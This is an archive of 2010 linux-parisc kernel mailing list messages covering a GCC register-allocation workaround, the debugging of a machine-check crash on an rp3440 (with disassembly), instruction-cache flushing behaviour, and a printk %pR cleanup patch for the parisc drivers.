To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't find a register in class 'R1_REGS' while reloading 'asm'
Date: Sun, 7 Nov 2010 13:48:46 -0500 (EST)
Lines: 40
Approved: news@gmane.org
Message-ID: <20101107184847.51F9F4E1C@hiauly1.hia.nrc.ca>
References: <20101107175042.627060c2@zombie>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1289155738 17052 80.91.229.12 (7 Nov 2010 18:48:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 7 Nov 2010 18:48:58 +0000 (UTC)
Cc: kyle@mcmartin.ca, dave.anglin@nrc-cnrc.gc.ca, cavokz@gmail.com,
	linux-parisc@vger.kernel.org
To: gmsoft@tuxicoman.be (Guy Martin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 07 19:48:51 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PFAIN-0002UA-8v
	for glpp-linux-parisc@lo.gmane.org; Sun, 07 Nov 2010 19:48:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752031Ab0KGSst (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Nov 2010 13:48:49 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2128 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751811Ab0KGSst (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Nov 2010 13:48:49 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 51F9F4E1C; Sun,  7 Nov 2010 13:48:46 -0500 (EST)
In-Reply-To: <20101107175042.627060c2@zombie> from "Guy Martin" at Nov 7, 2010 05:50:42 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3225
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3225>

Not really.  The register allocator is shooting itself in the foot.
4.5/4.6 may be better but I think the work around should be applied
to resolve the problem.

Dave

> Any update on this ?
> 
> I'm still running into the issue with gcc 4.4.4 and linux 2.6.37-rc1.
> 
> Regards,
>   Guy
> 
> On Sun, 7 Feb 2010 22:20:34 -0500 (EST)
> "John David Anglin" <dave@hiauly1.hia.nrc.ca> wrote:
> 
> > > On Mon, Dec 07, 2009 at 10:01:14PM -0500, John David Anglin wrote:
> > > > -	volatile unsigned int *a;
> > > > +	volatile register unsigned int *a asm ("r20") =
> > > > __ldcw_align(x); 
> > > 
> > > I'm reticent about moving the assignment around the mb(), should I
> > > edit this to return the assignment and apply, or apply as is?
> > 
> > I don't believe the __ldcw_align operation involves a memory read or
> > write.  It's just adjusting a pointer.  Thus moving it past the mb()
> > shouldn't matter.  That said, I been wrong before...
> > 
> > Dave
> 


-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Sun, 7 Nov 2010 14:31:56 -0500 (EST)
Lines: 58
Approved: news@gmane.org
Message-ID: <20101107193156.F14EF4E1C@hiauly1.hia.nrc.ca>
References: <20101104153507.GA7198@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1289158327 30852 80.91.229.12 (7 Nov 2010 19:32:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 7 Nov 2010 19:32:07 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 07 20:32:02 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PFAy7-0005mk-0Z
	for glpp-linux-parisc@lo.gmane.org; Sun, 07 Nov 2010 20:31:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751609Ab0KGTb6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Nov 2010 14:31:58 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2132 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751232Ab0KGTb6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Nov 2010 14:31:58 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id F14EF4E1C; Sun,  7 Nov 2010 14:31:56 -0500 (EST)
In-Reply-To: <20101104153507.GA7198@lackof.org> from "Grant Grundler" at Nov 4, 2010 09:35:08 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3226
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3226>

> Sorry...I had written the questions while going through the email
> and then forgot to delete them when I finished reading everything.

No problem.

> In short, I'm skeptical this is a problem in lba_pci code.
> Much more likely to be a driver issue or possibly HW issue.
> I was pointing at the configs that booted on ion/ioz only to
> help rule out driver or HW issues. Feel free to use ion for
> testing this.

I agree.  I think the hpmc in the lba_pci code and the hpmc with
LBA debug messages enabled are likely related.  Do you have any idea
how the code could avoid shooting itself in the foot?

Do you think there is a SMP race in setting up the PCI bus.  I was
thinking of trying an identical UP build.  I believe that all processors
are enabled at the time the hpmc occurs.

While there might be a hardware problem, the machine consistently boots
2.6.26-2-parisc64-smp without problems.  Until I lost the hard drive,
it was also running a 2.6.34 kernel.  The debian kernels tend to have
everything but the kitchen sink enabled.  I may have an older version
of this config still around.

I did update all the firmware on the machine a couple of months
ago.  This definitely helped with various memory corruption issues
that were occuring at boot time.  I believe that HP listed the
patch as critical.  Anyway, there's a chance that this changed
some of PDC responses.

> Also, if there are any add-on PCI cards in the machine, consider
> removing them.

I will take a look in the machine when I get back from Costa Rica
at the end of the week.  I think there may be one or two scsi
controllers.  There is also a radion card in it somewhere.

Thanks for you help in trying to narrow this down,
Dave

> thanks,
> grant
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 


-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Tue, 9 Nov 2010 22:35:28 -0500
Organization: nrc.ca
Lines: 52
Approved: news@gmane.org
Message-ID: <20101110033527.GA24762@hiauly1.hia.nrc.ca>
References: <20101104153507.GA7198@lackof.org> <20101107193156.F14EF4E1C@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1289360151 14415 80.91.229.12 (10 Nov 2010 03:35:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 10 Nov 2010 03:35:51 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 10 04:35:47 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PG1TO-00073G-EN
	for glpp-linux-parisc@lo.gmane.org; Wed, 10 Nov 2010 04:35:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752518Ab0KJDfp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Nov 2010 22:35:45 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2296 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752104Ab0KJDfp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Nov 2010 22:35:45 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B1BCC4FEF; Tue,  9 Nov 2010 22:35:28 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20101107193156.F14EF4E1C@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3228
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3228>

On Sun, 07 Nov 2010, John David Anglin wrote:

> > In short, I'm skeptical this is a problem in lba_pci code.
> > Much more likely to be a driver issue or possibly HW issue.
> > I was pointing at the configs that booted on ion/ioz only to
> > help rule out driver or HW issues. Feel free to use ion for
> > testing this.
> 
> I agree.  I think the hpmc in the lba_pci code and the hpmc with
> LBA debug messages enabled are likely related.  Do you have any idea
> how the code could avoid shooting itself in the foot?
> 
> Do you think there is a SMP race in setting up the PCI bus.  I was
> thinking of trying an identical UP build.  I believe that all processors
> are enabled at the time the hpmc occurs.

UP kernels behaive differently.  Boot is hpmc'ing in handle_unaligned.
The kernel dies in this block of code:

00000000401218f4 <.L3^B18>:
    401218f4:   e8 1f 11 35     b,l 40121194 <.L3^B2+0x20>,r0
    401218f8:   db 85 0f e0     extrd,s ret0,63,32,r5
    401218fc:   9f fc 20 10     cmpb,*= ret0,r31,4012190c <.L3^B18+0x18>
    40121900:   36 7c 22 00     ldo 1100(r19),ret0
    40121904:   bf fc 31 15     cmpb,*<> ret0,r31,40121194 <.L3^B2+0x20>
    40121908:   34 05 3f ff     ldi -1,r5
    4012190c:   34 16 00 00     ldi 0,r22
    40121910:   50 d5 05 40     ldd 2a0(r6),r21
    40121914:   50 df 05 30     ldd 298(r6),r31
    40121918:   db 57 0b fb     extrd,u r26,63,5,r23
    4012191c:   f2 75 00 7d     depd,z r21,60,3,r19
    40121920:   00 1f 58 20     mtsp r31,sr1
    40121924:   f2 a0 04 1d     depd r0,63,3,r21
->  40121928:   0e a0 50 d6     ldd 0(sr1,r21),r22
    4012192c:   0e b0 50 d4     ldd 8(sr1,r21),r20
    40121930:   96 73 00 80     subi 40,r19,r19
    40121934:   01 73 18 40     mtsar r19
    40121938:   d2 96 02 16     shrpd r22,r20,sar,r22
    4012193c:   08 00 02 5c     copy r0,ret0

sr1 is 0 and r21 is 00000000c0000008, so I think we have an unaligned
kernel load.  Not sure where it is coming from.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: instruction cache flushing issues
Date: Fri, 12 Nov 2010 11:14:25 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <1289582065.3015.47.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1289582073 32009 80.91.229.12 (12 Nov 2010 17:14:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 12 Nov 2010 17:14:33 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 12 18:14:29 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PGxCn-0005YA-2a
	for glpp-linux-parisc@lo.gmane.org; Fri, 12 Nov 2010 18:14:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932520Ab0KLRO2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 12 Nov 2010 12:14:28 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:33998 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932475Ab0KLRO2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 12 Nov 2010 12:14:28 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 9B9748EE0E6
	for <linux-parisc@vger.kernel.org>; Fri, 12 Nov 2010 09:14:27 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id mF-zY8QGhDVb for <linux-parisc@vger.kernel.org>;
	Fri, 12 Nov 2010 09:14:27 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 4AA218EE0E0
	for <linux-parisc@vger.kernel.org>; Fri, 12 Nov 2010 09:14:27 -0800 (PST)
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3229
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3229>

While looking at all the other problems surrounding our coherency
issues:

http://wiki.parisc-linux.org/TestCases

I noticed that we have no nullifier naitlb (non access instruction tlb
miss interruption) handler (we do in the nadtlb handler).  What this
means is that an icache flush to any area always pulls in the tlb entry
(or generates a page fault).  Can anyone remember why we do this?  I
suspect it's because for data, we don't want to prefetch if we have no
TLB entry and the effect on flushing is just incidental.

What I don't like about this behaviour is that if we flush a user
instruction page, we actually cause a TLB entry to be placed there
(where none might have existed before).  This, in turn, causes the CPU
to think it's allowed to do cache movein.  Premature movein (say because
we flush before the data is present) could be one cause of our apparent
icache problems in threading.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe-6d6DIl74uiNBDgjK7y7TUQ@public.gmane.org>
Newsgroups: gmane.linux.usb.general,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.drivers.rdma,gmane.linux.drivers.mtd,gmane.network.socketcan.devel,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 00/14] Use printf extension %pR for struct resource
Date: Fri, 12 Nov 2010 13:37:50 -0800
Lines: 49
Approved: news@gmane.org
Message-ID: <cover.1289597644.git.joe@perches.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1289597901 14525 80.91.229.12 (12 Nov 2010 21:38:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 12 Nov 2010 21:38:21 +0000 (UTC)
Cc: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-rdma-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-mtd-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, socketcan-core-0fE9KPoRgkgATYTw5x5z8w@public.gmane.org,
	netdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, alsa-devel-K7yf7f+aM1XWsZ/bQMPhNw@public.gmane.org
To: Jiri Kosina <trivial-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
Original-X-From: linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri Nov 12 22:38:15 2010
Return-path: <linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glug-linux-usb-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1PH1K1-0001p9-VR
	for glug-linux-usb-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Fri, 12 Nov 2010 22:38:14 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S932512Ab0KLViM (ORCPT <rfc822;glug-linux-usb@m.gmane.org>);
	Fri, 12 Nov 2010 16:38:12 -0500
Original-Received: from mail.perches.com ([173.55.12.10]:4986 "EHLO mail.perches.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932137Ab0KLViL (ORCPT <rfc822;linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Fri, 12 Nov 2010 16:38:11 -0500
Original-Received: from Joe-Laptop.home (unknown [192.168.1.162])
	by mail.perches.com (Postfix) with ESMTP id C096F24368;
	Fri, 12 Nov 2010 13:37:31 -0800 (PST)
X-Mailer: git-send-email 1.7.3.1.g432b3.dirty
Original-Sender: linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-usb.vger.kernel.org>
X-Mailing-List: linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.usb.general:38634 gmane.linux.kernel:1061774 gmane.linux.ports.mips.general:29443 gmane.linux.ports.ppc64.devel:71197 gmane.linux.drivers.rdma:6535 gmane.linux.drivers.mtd:32801 gmane.network.socketcan.devel:2090 gmane.linux.network:177857 gmane.linux.ports.parisc:3230 gmane.linux.alsa.devel:78902
Archived-At: <http://permalink.gmane.org/gmane.linux.usb.general/38634>

Yet more trivia...

Joe Perches (14):
  arch/frv: Use printf extension %pR for struct resource
  arch/mips: Use printf extension %pR for struct resource
  arch/powerpc: Use printf extension %pR for struct resource
  drivers/dma/ppc4xx: Use printf extension %pR for struct resource
  drivers/infiniband: Use printf extension %pR for struct resource
  drivers/mfd: Use printf extension %pR for struct resource
  drivers/mtd/maps: Use printf extension %pR for struct resource
  drivers/mtd/nand: Use printf extension %pR for struct resource
  drivers/net/can/sja1000: Use printf extension %pR for struct resource
  drivers/parisc: Use printf extension %pR for struct resource
  drivers/rapidio: Use printf extension %pR for struct resource
  drivers/uwb: Use printf extension %pR for struct resource
  drivers/video: Use printf extension %pR for struct resource
  sound/ppc: Use printf extension %pR for struct resource

 arch/frv/mb93090-mb00/pci-vdk.c               |    8 ++------
 arch/mips/txx9/generic/pci.c                  |    7 ++-----
 arch/powerpc/kernel/pci_64.c                  |    3 +--
 arch/powerpc/sysdev/tsi108_dev.c              |    8 ++++----
 drivers/dma/ppc4xx/adma.c                     |    5 ++---
 drivers/infiniband/hw/ipath/ipath_driver.c    |    5 ++---
 drivers/mfd/sm501.c                           |    7 ++-----
 drivers/mtd/maps/amd76xrom.c                  |    7 ++-----
 drivers/mtd/maps/ck804xrom.c                  |    7 ++-----
 drivers/mtd/maps/esb2rom.c                    |    9 +++------
 drivers/mtd/maps/ichxrom.c                    |    9 +++------
 drivers/mtd/maps/physmap_of.c                 |    4 +---
 drivers/mtd/maps/scx200_docflash.c            |    5 ++---
 drivers/mtd/nand/pasemi_nand.c                |    2 +-
 drivers/net/can/sja1000/sja1000_of_platform.c |    8 ++------
 drivers/parisc/dino.c                         |   13 +++++--------
 drivers/parisc/hppb.c                         |    6 ++----
 drivers/rapidio/rio.c                         |    4 ++--
 drivers/uwb/umc-dev.c                         |    7 ++-----
 drivers/video/platinumfb.c                    |    8 ++------
 sound/ppc/pmac.c                              |   12 ++++--------
 21 files changed, 48 insertions(+), 96 deletions(-)

-- 
1.7.3.1.g432b3.dirty

--
To unsubscribe from this list: send the line "unsubscribe linux-usb" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 10/14] drivers/parisc: Use printf extension %pR for struct resource
Date: Fri, 12 Nov 2010 13:38:00 -0800
Lines: 62
Approved: news@gmane.org
Message-ID: <4b2cfc9a82fa77a23a76db463e100b1a7016beee.1289597644.git.joe@perches.com>
References: <cover.1289597644.git.joe@perches.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1289597995 14897 80.91.229.12 (12 Nov 2010 21:39:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 12 Nov 2010 21:39:55 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Jiri Kosina <trivial@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Nov 12 22:39:50 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1PH1LY-0002ft-Rp
	for glk-linux-kernel-3@lo.gmane.org; Fri, 12 Nov 2010 22:39:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932986Ab0KLVjb (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 12 Nov 2010 16:39:31 -0500
Original-Received: from mail.perches.com ([173.55.12.10]:1028 "EHLO mail.perches.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932889Ab0KLViR (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Fri, 12 Nov 2010 16:38:17 -0500
Original-Received: from Joe-Laptop.home (unknown [192.168.1.162])
	by mail.perches.com (Postfix) with ESMTP id F245E24375;
	Fri, 12 Nov 2010 13:37:38 -0800 (PST)
X-Mailer: git-send-email 1.7.3.1.g432b3.dirty
In-Reply-To: <cover.1289597644.git.joe@perches.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1061783 gmane.linux.ports.parisc:3231
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1061783>

Using %pR standardizes the struct resource output.

Signed-off-by: Joe Perches <joe@perches.com>
---
 drivers/parisc/dino.c |   13 +++++--------
 drivers/parisc/hppb.c |    6 ++----
 2 files changed, 7 insertions(+), 12 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index d9f5148..d30a809 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -599,15 +599,13 @@ dino_fixup_bus(struct pci_bus *bus)
 				
 			}
 					
-			DBG("DEBUG %s assigning %d [0x%lx,0x%lx]\n",
+			DBG("DEBUG %s assigning %d [%pR]\n",
 			    dev_name(&bus->self->dev), i,
-			    bus->self->resource[i].start,
-			    bus->self->resource[i].end);
+			    &bus->self->resource[i]);
 			WARN_ON(pci_assign_resource(bus->self, i));
-			DBG("DEBUG %s after assign %d [0x%lx,0x%lx]\n",
+			DBG("DEBUG %s after assign %d [%pR]\n",
 			    dev_name(&bus->self->dev), i,
-			    bus->self->resource[i].start,
-			    bus->self->resource[i].end);
+			    &bus->self->resource[i]);
 		}
 	}
 
@@ -809,8 +807,7 @@ dino_bridge_init(struct dino_device *dino_dev, const char *name)
 		result = ccio_request_resource(dino_dev->hba.dev, &res[i]);
 		if (result < 0) {
 			printk(KERN_ERR "%s: failed to claim PCI Bus address "
-			       "space %d (0x%lx-0x%lx)!\n", name, i,
-			       (unsigned long)res[i].start, (unsigned long)res[i].end);
+			       "space %d (%pR)!\n", name, i, &res[i]);
 			return result;
 		}
 	}
diff --git a/drivers/parisc/hppb.c b/drivers/parisc/hppb.c
index 815db17..898208e 100644
--- a/drivers/parisc/hppb.c
+++ b/drivers/parisc/hppb.c
@@ -74,10 +74,8 @@ static int hppb_probe(struct parisc_device *dev)
 
 	status = ccio_request_resource(dev, &card->mmio_region);
 	if(status < 0) {
-		printk(KERN_ERR "%s: failed to claim HP-PB "
-			"bus space (0x%08llx, 0x%08llx)\n",
-			__FILE__, (unsigned long long) card->mmio_region.start,
-			(unsigned long long) card->mmio_region.end);
+		printk(KERN_ERR "%s: failed to claim HP-PB bus space (%pR)\n",
+			__FILE__, &card->mmio_region);
 	}
 
         return 0;
-- 
1.7.3.1.g432b3.dirty


From - Thu Nov 08 21:06:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFT] irq changes (was Re: [git] parisc: Changes to ref refs/heads/parisc)
Date: Sun, 14 Nov 2010 21:59:59 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <4CE04DCF.7040306@gmx.de>
References: <201010140531.o9E5VRYK010123@hera.kernel.org> <20101014153931.GI24144@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1289768431 1128 80.91.229.12 (14 Nov 2010 21:00:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 14 Nov 2010 21:00:31 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 14 22:00:27 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
